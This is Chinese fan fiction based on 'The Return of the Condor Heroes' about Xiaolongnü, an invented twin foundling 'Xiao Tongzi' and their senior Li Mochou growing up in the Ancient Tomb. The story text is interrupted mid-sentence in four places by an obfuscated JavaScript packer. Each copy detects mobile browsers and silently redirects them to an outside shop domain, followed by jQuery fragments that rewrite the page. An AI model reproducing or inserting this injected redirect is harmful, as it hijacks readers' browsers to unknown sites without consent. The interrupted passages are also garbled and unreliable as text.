《终南双玉[神雕侠侣同人]》 1. 终南雪 终南山那年冬雪来得极早。 山下道观的钟声才过五更,漫山松柏已压得低低,白雪盖住石径,连鸟雀也不肯出声。活死人墓外,冷泉结了薄冰,冰下流水幽幽,像有人在暗处低声叹息。 林朝英立在墓门前,披一件素白外袍,发间无饰,眉目冷得几乎与山雪同色。 她本不该在此时出墓。 古墓派自立下门规,少问世事,少近尘缘。可这一夜,她听见了哭声。 起初只是一声,细细弱弱,像被雪压住的猫儿。她原以为是山兽误入阵中,待要转身,那哭声又响了起来,断断续续,偏在风雪里显得格外分明。 林朝英眉尖微蹙。 墓前机关重重,寻常人上不得来。能将婴孩放到此处,要么是熟知终南山路,要么便是拼了命闯来的。 她拂袖踏雪而行。 松影之后,果然有两只竹篮。 一只篮中铺着旧锦,锦上放着一个女婴。她不哭,只睁着一双黑得惊人的眼睛,安安静静望着林朝英。襁褓边系着半块龙纹玉佩。那玉佩虽旧,却被人擦得极亮,似是临别前反复摩挲过。 另一只篮小些,外头罩着青布。布角已被雪水浸湿,里头的女婴哭得脸颊通红,细小的手指攥着襁褓边,像是拼命要从这场风雪里抓住什么。她胸前挂着一枚小小金锁,锁面刻一字: 童。 林朝英站在雪中,良久没有说话。 若不是两只篮子不同,襁褓不同,她几乎要以为这是一双同胞姊妹。两个孩子都太小,眉眼尚未长开,却偏有种奇异的相似。一个静得过分,像已先一步学会把所有委屈吞进心里;一个哭得用力,仿佛不肯向这世间认输。 随侍的老仆孙婆婆追出来时,见到这一幕,也怔住了。 “姑娘,这……” 林朝英俯身,将那哭着的女婴抱起。孩子一入她怀中,仍抽抽噎噎,却像认得暖意似的,慢慢攥住了她衣襟。 另一只篮里的女婴看着她们,忽然也伸出手来。 那只手太小,指尖冻得微红,却不哭不闹,只固执地伸着。 林朝英心中某处,像被雪下暗泉轻轻撞了一下。 她向来厌恶世情牵缠。可这两个孩子,一个带着龙纹玉佩,一个带着童字金锁,被弃在活死人墓前,若她不收,便只有死路。 “带回去。”她道。 孙婆婆忙将旧锦篮中的孩子抱起,低声叹道:“可怜见的,雪这么大,哪家狠心人……” 林朝英没有接话。 世上狠心人太多,问不过来。 墓门缓缓合上,将风雪隔在外头。长明灯下,两名女婴并排放在暖榻上。哭累的那个蜷着身子睡去,手里仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750814|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 捏着林朝英的衣角;安静的那个侧过脸,望着身旁的婴孩,片刻后,竟慢慢把自己的小手搭在她襁褓边。 孙婆婆看得心软,笑道:“她倒像个姐姐。” 林朝英看着那枚龙纹玉佩,又看向那枚童字金锁。 “一个有龙佩,便唤小龙女。” 她顿了顿,目光落在另一个孩子脸上。 “小童子。” 孙婆婆微讶:“姑娘,子字多作男名……” “她既带童字而来,便是她的命。”林朝英声音淡淡,“世人爱分男女贵贱,名字也要分个高低。我偏不分。” 榻上,小童子似听懂了什么,咂巴几下嘴。 那一夜,终南山大雪封路。 活死人墓中却多了两道极轻的呼吸声。 后来许多年,古墓派弟子都知道,祖师收徒极严,宁缺毋滥。聪慧凌厉的李莫愁入门时,已比这两个孩子大些;而古墓后来收下的,正是那一夜被风雪送来的小龙女和小童子。 一个生来像月下寒玉。 一个生来像雪底暗火。 她们在同一盏长明灯下长大,听同一脉冷泉入梦,学同一套心法,受同一个师门戒律。 那时无人知道,古墓最深处,从此埋下的不止武学传承。 还有一段不该被世俗知晓、却终会穿透寒石的情。 2. 偷鸡 在小龙女和小童子入门之前,活死人墓早有一个徒弟——李莫愁。 李莫愁入门时已会说许多话,也会看人脸色。她生得眉目明艳,性子却比眉眼更明艳,笑起来像春日里忽然抽出的新枝,带着一点不肯受拘束的尖利。 时年,小龙女与小童子4岁。 一个常年不大说话,穿着素白小袄,立在寒玉床旁时,竟真有几分玉雕似的沉静。师父教她如何提气,如何收腕,如何把一招一式走得分毫不差,她便照着练,眼睛不乱看,脚步不乱移。纵然小臂酸得微微发抖,也只是抿一抿唇,继续把那一式练完。 另一个便全然不同。 小童子也穿素白小袄,却总能把袖口蹭出灰来。她眼睛圆,脸也圆,练功时站不了半盏茶,便悄悄往旁边挪一步,再挪一步,最后蹲到石壁根下,看蚂蚁从石缝里钻出来。 古墓里本没有什么蚂蚁。 那日她蹲了许久,终于看见一只黑点儿,立刻如获至宝,小小声道:“龙儿,龙儿,它走反了。” 小龙女正按师父所授练掌,闻言只转过眼来,看了她一眼。 小童子便捂住嘴,眨巴眨巴眼,像是怕自己方才那句话被石壁听见。 李莫愁倚在一旁,手里拿着一根细细柳枝,笑吟吟地看她。 “小童子。”她唤。 小童子一听这个声儿,脖子先缩了一下。 李莫愁越发觉得有趣,慢慢走过去,用柳枝尖轻轻点她的发髻:“师父说今日每人练一百遍,你练了几遍?” 小童子伸出一只手,数了数自己的手指。 “三遍。” “三遍?”李莫愁弯下腰,故意睁大眼,“你方才不是还站了好久么?” 小童子委委屈屈地说:“站着也算么?” 李莫愁噗嗤一声笑出来。 她这一笑,小童子脸先红了,眼眶也跟着红。她本就爱哭,委屈来得快,眼泪也来得快,像山外檐下融雪,一滴接一滴,拦也拦不住。 “我又没打你。”李莫愁偏还要逗她,“怎么又哭了?你若哭得再大声些,师父来了,便要罚你多练三百遍。” 小童子一听“三百遍”,立刻张嘴哭出了声。 小龙女终于停下动作,走到她身旁,伸手把她脸上的泪抹了抹。她手指也小,擦得并不利落,反把小童子的脸抹成一团湿。 小童子抽抽噎噎地抓住她的袖子:“龙儿,三百遍好多。” 小龙女认真想了想,道:“你先练十遍。” 小童子哭声一顿。 李莫愁在旁边笑得肩都轻轻颤起来。 孙婆婆从甬道那头过来,瞧见这三个孩子,一个哭,一个哄,一个笑,不由摇头:“莫愁,你又欺负她。” 李莫愁把柳枝藏到身后,笑得乖巧:“婆婆,我教她练功呢。” 孙婆婆哼了一声:“你若真有这等好心,太阳也该从古墓里升起来了。” 那日午后,林朝英闭关未出,孙婆婆又去后室料理衣物。李莫愁练得心浮,听着墓外隐约有鸡鸣,心思便像被那一声鸡叫勾了出去。 终南山上全真教养了许多鸡。 古墓弟子不近俗事,平日里吃得清淡,饭食里少见油星。小童子不懂什么清规,只知道孙婆婆煮的青菜总是青菜,豆腐总是豆腐,连梦里都淡得没有味道。 李莫愁早看出她馋。 她走到小童子身边,蹲下去问:“想不想吃肉?” 小童子原本正把一招起手式练到一半,闻言立刻忘了手该往哪里摆:“肉?” 小龙女仍在旁边一板一眼地练剑指,听见这字,只微微侧目。 李莫愁压低声音:“山下那些道士养的鸡,肥得很。” 小童子咽了咽口水,又害怕地看向墓门:“师父说,不许随便出墓。” “我又没叫你出。”李莫愁笑道,“你和龙儿在这里等我。” 小龙女道:“师父会知道。” 她声音轻,语气却笃定。 李莫愁挑眉:“你不说,我不说,小童子只会哭,师父怎么知道?” 小童子听见这话,急得又要掉泪:“我不只会哭。” 李莫愁伸手捏了捏她的脸:“那你还会什么?” 小童子憋了半天,憋出一句:“我还会吃。” 这一下,连小龙女也低了低眼,像是极轻地笑了一下。 李莫愁便趁着孙婆婆不在,悄悄出了墓门。 她身法还未大成,却比寻常孩子灵巧许多。山道上雪未化尽,松针湿滑,她踩过石阶,绕开全真教巡山弟子的路,伏在一丛矮柏后,看准一只肥鸡,抬手便将小石子弹了出去。 那鸡扑腾两下,刚要叫,已被她捂住翅膀抱进怀里。 她得手之后,心中大快,竟觉得这比练上一百遍掌法痛快多了。待她绕路回到墓外,找了背风处生火,把鸡烤得油香四溢时,小童子已经馋得坐不住了。 “好了么?”她问。 “还没。” 过了一会儿。 “好了么?” “还没。” 再过一会儿。 “那现在呢?” 李莫愁把烤鸡翻了个面,笑道:“小馋猫。” 小童子没在意,张着嘴,眼泪从嘴角流下,自己发现后,便只用两只手捂着自己的嘴。 小龙女坐在一旁,背挺得很直。她本不该坐在这里,可小童子抓着她的袖子不肯放,李莫愁又说只吃一口,不算坏了规矩。小龙女想不明白这话哪里对,却也没有走。 鸡肉烤好后,李莫愁撕下一小块,先递给小童子。 小童子接过来,被烫得嘶了一声,仍舍不得丢,吹了又吹才塞进嘴里。她眼睛一下亮了,亮得像墓道里忽然点起两盏小灯。 “好吃。”她小声说。 李莫愁得意地笑,又撕了一块递给小龙女。 小龙女看着那块肉,沉默片刻,还是接了。 三人分着吃了不到一半,身后忽然传来一道冷淡声音。 “你们在做什么?” 小童子嘴里还含着肉,整个人僵住。 李莫愁手中的鸡骨也停在半空。 林朝英立在不远处,白衣如雪,神色比雪更冷。她不知何时来的,连松枝上的残雪都未惊落半分。 火堆噼啪一声。 小童子吓得僵直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750815|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,肉也不敢咽,只鼓着腮帮子望着师父。 林朝英目光扫过火堆,扫过烤鸡,又落在三人身上。 “谁去抓的?” 李莫愁低下头,眼珠却微微一转。 她知道小龙女不会说谎,也知道小童子一急便说不出整话。于是她抬起脸,神情极真:“师父,是小童子馋了。她说想吃鸡,我一时没拦住。” 小童子怔怔地看着她。 小龙女抬眼,第一次没有立刻垂下。 林朝英看向小童子:“是你?” 小童子嘴唇动了动。 她想说不是。她想说是师姐去抓的,是师姐生的火,是师姐先撕给她吃的。可林朝英的眼神太冷,李莫愁的目光又在旁边轻轻一掠,像一根细针扎在她心口。 她忽然就说不出话。 眼泪却先掉了下来。 一颗,两颗,砸在她胸前的小金锁上,又顺着锁面滑下去。 林朝英静了片刻,道:“既犯门规,便去寒冰床上跪着。” 小童子哇的一声哭了出来。 她被带回墓中,爬上寒冰床时,小腿冻得一缩。寒意从膝盖一路钻进骨头里,她年纪太小,还不懂什么忍耐,只知道冷,知道怕,知道委屈。她跪在那里,哭得整座石室都像浸了水。 “姑娘。”孙婆婆在旁边不忍,“她还小。” 林朝英道:“小也要知道规矩。” 小童子哭得更厉害,眼泪一滴一滴落在冰面上,很快凝成细小的水痕。她鼻尖通红,眼皮也红肿起来,哭到后来声音都哑了,还不肯抬袖子擦,只低着头,像一团被雪打湿的小棉花。 李莫愁站在石室门口。 起初她还暗暗发笑。 她觉得小童子实在好骗,哭起来也实在好玩。那张小脸皱成一团,像被人捏坏了的面团。她越看越想笑,嘴角忍不住往上翘。 可小童子哭了很久。 久到那笑意慢慢从李莫愁脸上退下去。 她看见小童子的膝盖在寒冰床上微微发抖,看见她小手攥着衣角,攥得指节都泛白。她还看见小龙女站在床边,始终没有说话,只把自己的小帕子递过去。 小童子没有接。 她只是哭,哭得眼睛肿了,鼻尖肿了,连呼吸都一抽一抽的。 李莫愁心里忽然有一点不舒服。 那不舒服来得很轻,像细雪落在衣领里,凉意不重,却钻得人躲不开。她别过脸,想说一句“哭什么哭”,可话到嘴边,又莫名说不出口。 小龙女抬头看了她一眼。 那一眼安静得很,没有责怪,也没有怨怼。 偏偏李莫愁被那一眼看得心烦。 她扭头走了。 走到甬道深处,仍能听见小童子的哭声,一声一声,隔着厚重石壁传来。李莫愁靠在冰冷的墙上,低头看自己的手。 那只手上午才抓过鸡,撕过肉,也捏过小童子的脸。 她忽然想起小童子吃第一口鸡肉时亮起来的眼睛。 那眼睛此刻一定也肿了。 李莫愁皱了皱眉,低声道:“真麻烦。” 可她在甬道里站了许久,终究没有再笑出来。 3. 木兽与书 小童子和小龙女五岁时,活死人墓里仿佛又冷了一分。 这冷并非只因终南山的冬长,也并非只因墓中石壁终年不见日光。是小龙女越发少言了。 她原本便不爱说话,如今更像一盏被罩在冰壳里的灯。师父教她练掌,她练掌;教她吐纳,她吐纳;教她坐忘,她便当真一坐便是半日。小小年纪,眉眼间已有一种近乎清寒的安静,仿佛世上许多声音落到她耳边,都只剩下很远很淡的一点回声。 林朝英开始让她每日睡寒冰床。 那床是古墓中至寒之物,通体莹白,寒气从石心里一点一点渗出来。小龙女第一次躺上去时,指尖冻得微微蜷起,却没有叫冷。她只把两只手规规矩矩放在身侧,闭上眼,长睫在脸上投下一小片影子。 孙婆婆在旁边看得心疼,低声道:“姑娘,她才五岁。” 林朝英神色不动:“她心性最静,受得住。” 这话落在李莫愁耳中,便像一根刺。 她站在石室门边,手指攥着衣袖,攥得袖口都皱了。她比小龙女大,入门也早些,日日练功不曾少挨训,可师父看向小龙女时,总像看见一块天生合该被雕成玉像的寒玉。 而她呢? 她是会笑的,会顶嘴的,会馋山下市集糖人的,会在练功时想着山风和春花的。 林朝英从不说她不好,可那一句“她心性最静,受得住”,却比责骂更叫李莫愁难受。 那夜,小龙女睡在寒冰床上,小童子抱着膝坐在床边陪她。 小童子也变了些。 她已不如从前那般一逗就哭。自从去年那只鸡的事之后,她像忽然知道哭并不能叫旁人替她分辨清楚,也不能叫寒冰床不冷。她还是爱笑,还是偷懒,还是看见好吃的便眼睛发亮,可她委屈时不再立刻哇哇哭出来。 她会把嘴唇抿得很紧。 眼泪会一点一点续满整个眼眶,亮汪汪地浮在那里,像两池快要溢出来的水。可她偏要仰着脸,死忍着,不叫它们落下。 李莫愁最讨厌她这样。 从前小童子哭起来吵,却好懂;如今她忍着不哭,反倒叫人看了心烦。 “冷不冷?”小童子小声问。 小龙女睁开眼,看她。 “不冷。” 小童子皱了皱鼻子:“骗人。你手指都白了。” 小龙女把手往袖中收了收,仍道:“不冷。” 李莫愁在门外听得更气。 她觉得小龙女这副样子可恶极了,明明冷也不说,疼也不说,什么都不说,偏偏师父最喜欢这样。她又觉得小童子也可恶,明明平日懒得连十遍掌法都要讨价还价,如今却能在寒冰床边一坐半夜。 她胸口堵着一团火,越堵越旺。 第二日,林朝英闭关。 李莫愁留下一句“我去练轻功”,便趁孙婆婆不备,悄悄出了墓。 她下了终南山。 山下是她许久不曾见过的人间。春日虽寒,市集却热闹,卖糖糕的摊前蒸气腾腾,布庄门口挂着新染的绸,泥瓦巷中有小孩子追着竹轮跑。她在街角站了许久,忽然觉得古墓里的冷像还缠在她肩上,怎么甩都甩不开。 她原本只是生气。 可一走进市集,目光却不由自主被一处木匠摊吸住。 那摊上摆了许多小玩意儿,都是木头削成的。小马昂着头,脖颈处刻了细细的鬃毛;小鹿四蹄纤长,耳朵尖尖,背上点着几粒浅褐色圆斑;一只小兔蹲在木桩旁,前爪抱着半截胡萝卜,眼睛嵌了两粒黑豆大的漆点;还有一只小狐狸,尾巴蓬蓬地卷在身后,眼角被匠人刻得微微上挑,像正藏着坏主意。 摊角另有一套更小的木兽。 一只青漆小鸟,翅膀能上下拨动;一只胖乎乎的小虎,额头刻着歪歪的“王”字;一只圆背小龟,龟壳上刻了六边纹,推起来会慢吞吞地摇头;还有一只细身小蛇,身子由一节一节木片串成,捏着尾巴一晃,便能弯出活物似的弧。 李莫愁看着那小蛇,忽然想起小童子蹲在石壁根下看蚂蚁的样子。 她立刻皱眉。 “难看。”她对摊主说。 摊主笑呵呵道:“小姑娘,难看你还瞧这么久?” 李莫愁脸一红,丢下几枚铜钱,把那一套小兽全买了。 买完小兽,她又路过书铺。 书铺里纸墨气重,掌柜正低头拨算盘。李莫愁本想径直走开,脚步却在门槛前停了停。 小龙女不爱玩。 她想起小龙女每日坐在灯下,看师父留下的心法图谱时,神情比看糖糕还认真。 李莫愁冷着脸走进去,挑了几册薄书。 一本《九州山川志》,写各地山脉水脉,里头还夹着几幅简略舆图;一本《南越草木记》,记岭南花木虫鱼,纸页间画着细细的兰草与芭蕉;一本《前朝宫阙录》,讲旧都宫城、陵寝与兴废;又有一本《海内古道考》,写驿路关津、渡口荒城,字虽小,图却画得端正。 掌柜见她年纪小,笑问:“买给谁看?” 李莫愁哼道:“我自己看。” 掌柜便不再多问,只用青纸替她包好。 她在山下待了几日。 那几日里,她吃过热汤面,看过卖艺人抛刀,也听见茶肆里有人说江湖掌故。可越热闹,她越想起古墓。想起小龙女躺在寒冰床上不说冷,想起小童子眼眶里盛着泪还硬撑的样子。 到第四日清晨,她终于背着包袱回了终南山。 孙婆婆见她回来,先是松了一口气,随即气得拿拐杖敲地:“你这孩子,跑到哪里去了?姑娘闭关未出,你若在外头出了事,我如何交代?” 李莫愁一脸不耐:“我又没死。” 孙婆婆气得直念佛。 李莫愁却不听,径直往里走。 小童子正在练功。 说是练功,其实只练了一半。她站在石室中央,左手抬起,右手垂着,眼睛却盯着地上一粒小石子。小龙女在旁边看书,身上披着一件薄薄白衣,神色冷清得像刚从寒冰床上化出来。 李莫愁站在门口,看见这一幕,心中那股别扭又涌上来。 她把包袱一甩。 “接着。” 小童子还没反应过来,一只木头小虎正砸在她额头上。 “哎呀!” 她捂住额头,眼眶瞬间红了。那泪又像从心底一下涌上来,满满蓄在眼里,差一点就要滚下。可她硬是咬住唇,把哭声憋回去。 下一刻,她看清掉在怀里的东西,眼睛又亮了。 木头小虎圆滚滚的,额头歪歪刻着一个“王”字,四只短腿笨拙可爱。她再往包袱里一翻,看见了小鹿、小马、小兔、小狐狸、小龟、小鸟,还有那条能摇来摇去的小蛇。 “哇!”小童子忘了额头疼,抱着一堆木兽扑到地上,“谢谢师姐!” 她先把小马立起来,又把小鹿摆到它旁边,再让小狐狸躲到石灯后头,口中小小声给它们分派去处:“你去山上,你去河边,你坏,你偷果子。” 说到小蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750816|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 时,她捏住尾巴轻轻一晃,木片一节一节摆动起来。 她惊喜得整张脸都亮了:“龙儿,你看,它会动!” 小龙女放下书卷,垂眼看了一会儿。 “嗯。” 她伸手摸了摸那只青漆小鸟的翅膀。翅膀被轻轻拨动,发出极细的一声木响。小龙女眸色微动,却仍只是很安静地看。 李莫愁又把青纸包着的书往她怀里一丢。 小龙女接住了。 她打开纸包,看见《九州山川志》《南越草木记》《前朝宫阙录》《海内古道考》几册书,便一册一册理齐。她把书角抚平,按厚薄排好,又将青纸折成方方正正的一块,压在最下。 做完这些,她抬头看向李莫愁。 “谢谢师姐。” 她说得平静,像在说今日石室里很冷,像在说一招掌法该如何收势。可不知为何,李莫愁听了,耳根竟热了一下。 她立刻沉下脸。 “谁要你谢?”她恶狠狠道,“山下没人要的破烂,我随手捡的。” 小童子抱着木头小龟,笑得眼睛弯弯:“那我也喜欢。” 李莫愁更气了。 她几步走过去,一把捏住小童子的脸。 小童子的脸颊软,被她一捏便鼓起来,嘴也被迫嘟成圆圆一团。她手里还抓着小龟,眼泪因为疼意又一次冒上来,盈盈地续满眼眶。 “疼。”小童子含含糊糊地说。 “疼就哭啊。”李莫愁瞪她,“你不是最会哭么?” 小童子睁大眼,偏偏不哭。 眼泪在她眼眶里打转,晃得像两颗快要坠下来的珠子。她吸了吸鼻子,硬是把那口委屈咽下去。 李莫愁手指一顿。 她忽然觉得没意思。 于是她转身,又去捏小龙女的脸。 小龙女没有躲。 她只是抬眼看她。那张小脸比小童子的更冷也更瘦,被李莫愁捏住时,依旧没有什么表情,只睫毛轻轻颤了一下。 “你也讨厌。”李莫愁说。 小龙女望着她,慢慢道:“师姐回来了。” 李莫愁怔了一瞬。 小童子在旁边捧着脸,眼眶还是红的,却立刻点头:“嗯!师姐回来了。” 那一点刚被李莫愁捏出来的泪光还挂在她眼里,没有落下,偏偏她已经笑了。 李莫愁心口一堵,像是被什么轻轻撞了一下。 她松开小龙女,恶狠狠地又在小童子脸上捏了一把。 这一下捏得小童子“呜”了一声,眼泪终于被逼出来一颗,顺着脸颊滚下去。 李莫愁看见了,却装作没看见。 她转身往外走,边走边重重哼了一声。 “幼稚。” 身后,小童子已经趴在地上,给木兽们排起队来。她把小虎放在最前面,小龟放在最后面,又把青漆小鸟摆到小龙女书旁边。 “这个给你。”小童子说,“它陪你看书。” 小龙女看了看那只小鸟,又看了看门外李莫愁离开的方向。 她没有说话。 只是把那只青漆小鸟轻轻放在《九州山川志》上。 甬道深处,李莫愁脚步越走越快。 她脸上仍是一副凶巴巴的神情,嘴角却怎么也压不平。 她想,果然还是小童子好欺负些。 可小龙女那句“师姐回来了”,却在她耳边停了许久,像一粒小小的石子落进冷泉里,声响不大,涟漪却一圈一圈散开。 4. 抱腿 李莫愁偷下山那件事,终究没有被林朝英知道。 林朝英闭关出来时,李莫愁早已把市集里的尘土拍净,衣袖上沾过的糖糕香也散得干干净净。她照旧练功,照旧请安,照旧在师父问话时垂眼应是,仿佛从未离开过古墓半步。 日子便仍像从前那样往下过。 清晨练气,午后练掌,夜里听冷泉自石缝里慢慢流过。孙婆婆煮的青菜依旧是青菜,豆腐依旧是豆腐。小龙女睡寒冰床,读李莫愁带回来的《九州山川志》,偶尔会把书翻到有舆图的那页,看很久。 小童子还是会偷懒。 只是她比从前更会藏了。师父在时,她便把腰背挺得直直的,掌法练得慢,却不敢少。师父一走,她的手腕便软下来,眼睛往墙角飘,去看那只青漆小鸟是不是还立在小龙女书旁。 可小童子渐渐觉得,师姐有些变了。 李莫愁从前也爱生气,爱逗她,爱把一句好话说得像骂人。可那时的气来得快,散得也快。她若把小童子惹哭,过不了多久便又会拿柳枝戳她发髻,或故意把小兔藏起来,等小童子急得团团转,再从袖子里抛出来。 如今却不同。 李莫愁开始和师父对着干。 林朝英让她把一式掌法练到沉稳,她偏练得轻飘锋利,像要把空气也割开。林朝英让她静坐,她坐不到半炷香便起身。林朝英说古墓弟子当清心寡欲,她便低着头,嘴角却冷冷一弯。 “弟子知道。” 她嘴上这么说,眼睛里却明明写着不知道,也不想知道。 有时林朝英罚她去石室面壁,她便当真面壁,背挺得笔直,半日不动。可小童子经过时,总觉得师姐不像在认错,倒像在同整座古墓赌气。 更叫小童子不舒服的是,李莫愁开始常常一个人生闷气。 她会站在古墓大门前。 墓门外是终南山的风,是林间的光,是山下隐隐约约的人声。门内则是长年不灭的灯、冰冷的石壁、规矩和掌法。李莫愁站在那里,一站便很久很久,身影被墓道里的暗光拉得细长,像一根快要绷断的弦。 小童子不知道她在看什么。 外面有什么好看的呢? 是外面有雪?是道士养的鸡?还是市集里的小木兽? 小童子想不明白,只觉得胸口也跟着闷闷的,像有一团湿棉花堵在那里。 于是她走过去,抱住李莫愁的大腿。 第一次这样做时,李莫愁整个人都僵了一下。 “你做什么?” 小童子把脸贴在她衣摆上,闷声道:“师姐。” “放手。” 小童子不放。 李莫愁低头看她。小童子才五岁多一点,个子小,抱人却抱得很紧,两只胳膊像藤一样缠住她的腿,脸颊贴在她衣上,眼睛还偷偷往上看。 李莫愁心里那股闷火本来烧得正旺,被她这么一抱,火没灭,反倒转了个方向。 “小童子。”她咬牙,“你再不放,我揍你。” 小童子眨了眨眼。 她觉得师姐终于肯看她了。 这比方才一直望着外头要好。 于是她抱得更紧。 李莫愁当真伸手去掰她。小童子身上软,手却倔,掰开一只,另一只又缠上来。李莫愁越气,她越往上爬,先爬到李莫愁腰侧,又攀着她的袖子去够肩膀。 “你是猴子么?”李莫愁气得脸都红了。 小童子艰难地往上蹭:“我不是。” “那你下来!” “不。” 这一声“不”说得又小又硬。 李莫愁一愣,随即更气。 后来,这几乎成了古墓里一桩怪事。 只要李莫愁站在墓门前,看着外头许久不动,小童子便会不知从哪条甬道里钻出来,先轻轻叫一声“师姐”。若李莫愁不理她,她便走过去抱腿。 抱不住,就爬。 有时候李莫愁分明已经留神提防,还是会被她从背后扑住。小童子手脚并用,踩着她的衣摆往上蹿,最厉害的一次,竟从她背后爬到肩头,两只小手抓住她的发髻,整个人摇摇晃晃地趴在她头顶。 孙婆婆远远瞧见,吓得差点把手里的针线篮丢了。 “小祖宗,快下来!” 小童子也害怕,可她不肯立刻下来。她趴在李莫愁头上,低头看见师姐气得发抖的肩,忽然觉得心里松了一点。 师姐生气了。 师姐现在只记得生她的气,不再看外面,也不再一个人把脸沉得像石门。 那些叫师姐难过的东西,仿佛暂时离开了师姐的心。 于是小童子很小声地说:“师姐,你别看了。” 李莫愁伸手把她从头顶上扯下来。 “我看什么关你什么事?” 小童子被她拎在半空,衣带都歪了,仍认真道:“我不舒服。” 李莫愁冷笑:“我看门外,你不舒服?” 小童子点头。 李莫愁气笑了。 她把小童子放到地上,一把捏住她的脸:“你管得倒宽。” 小童子的脸又软又嫩,被她两指一捏,立刻红了一片。她起初还能忍,眼泪迅速涌上来,满满续在眼眶里,睫毛一眨便颤出碎光。她咬着唇,硬撑着不哭。 李莫愁看见她忍着,心中那点烦躁又被挑起来。 “不是不哭了么?”她恶声道,“再忍给我看看。” 她手上没收力。 疼意一阵一阵从脸颊上漫开,小童子眼眶里的泪终于盛不住了。她“哇”地一声哭出来,哭声又脆又亮,像把憋了许久的委屈全砸在石壁上。 她已经好久没有这样哭过了。 哭声一出来,小童子自己先觉得丢脸,越丢脸越委屈,越委屈便哭得越厉害。她一边哭,一边用手背捂住被捏红的脸,含含糊糊骂:“师姐讨厌。” 李莫愁松了手。 小童子不再抱她,转身就跑。 她在古墓里住了许多年,虽还小,却早把每一条甬道、每一处转角都记在心里。哪里有石阶,哪里有暗室,哪里地面最凉,哪里灯火最暗,她闭着眼都能找到。 也能知道小龙女在哪里。 小龙女通常在最静的地方。 有时在寒冰床上,有时在石室灯下,有时在那方刻着心法图的石壁前。小童子哭着跑过两道甬道,拐进内室时,小龙女果然正盘膝打坐。 石室里冷,灯火很稳。 小龙女闭着眼,衣袖垂在膝上,呼吸轻得几乎听不见。若是旁人,此时绝不敢打扰她练功。可小童子不管。 她扑过去,一头撞进小龙女怀里。 小龙女身形微微一晃,睁开眼。 小童子抱住她的腰,把被捏红的脸往她脸上蹭,哭得一抽一抽:“痛。” 小龙女垂眼看她。 小童子的脸颊红得厉害,一边还有清清楚楚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750817|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 指印。泪水糊在脸上,把那点红衬得更可怜。她哭得鼻尖也红,嘴里只会反复喊:“痛,龙儿,痛。” 小龙女没有问是谁。 她知道。 一定又是师姐。 也一定是小童子自己先去招惹的。 小龙女抬起手,用袖角替她擦眼泪。她动作慢,力道很轻,像怕碰碎什么。 小童子却不肯只让她擦,非要整个贴上来,胳膊环住她的脖子,脸颊蹭着脸颊,哭声贴在她耳边,热乎乎的。 “她捏我。”小童子告状。 “嗯。” “很痛。” “嗯。” “她讨厌。” 小龙女想了想,道:“你去抱她了。” 小童子哭声顿了一下。 她伏在小龙女肩上,小小声道:“她不高兴。” 小龙女没有说话。 小童子又道:“她看外面,就像要走。” 这句话说完,石室里静了很久。 冷泉声从远处传来,一滴,一滴,落在看不见的水面上。 小龙女低头看着怀里的小童子。小童子哭得厉害,眼泪把她肩头的衣料都洇湿了一小片。明明脸疼得红了一块,却还记挂着李莫愁站在门前那副神情。 小龙女年纪也小,并不明白“要走”二字里藏着多少东西。 可她明白小童子害怕。 于是她伸手,轻轻抱住小童子的背。 “师姐回来了。”她说。 小童子吸了吸鼻子:“可是她还会看外面。” 小龙女道:“你还会去抱她。” 小童子呆了呆。 她觉得这话好像很有道理,又好像哪里不对。想了半晌,脸上还挂着泪,竟抽抽噎噎地点了点头。 “嗯。”她说,“我还抱。” 小龙女替她把脸上的泪擦干,又看了看那处红印。 “疼么?” 小童子立刻委屈起来:“疼。” 她刚止住的眼泪又要冒出来,眼眶迅速泛红,水光一层一层续满。可这一次,她没有再哇哇哭,只把脸埋到小龙女肩窝里,闷闷地喊:“疼。” 小龙女便由她抱着。 打坐被打断了,真气也需重新调息。若是师父知道,定要说她心不够静。可小龙女坐在那里,任小童子整个人挂在自己身上,半点也没有推开。 她只是轻轻抚着小童子的背,一下,又一下。 石室外,李莫愁不知何时追到了甬道口。 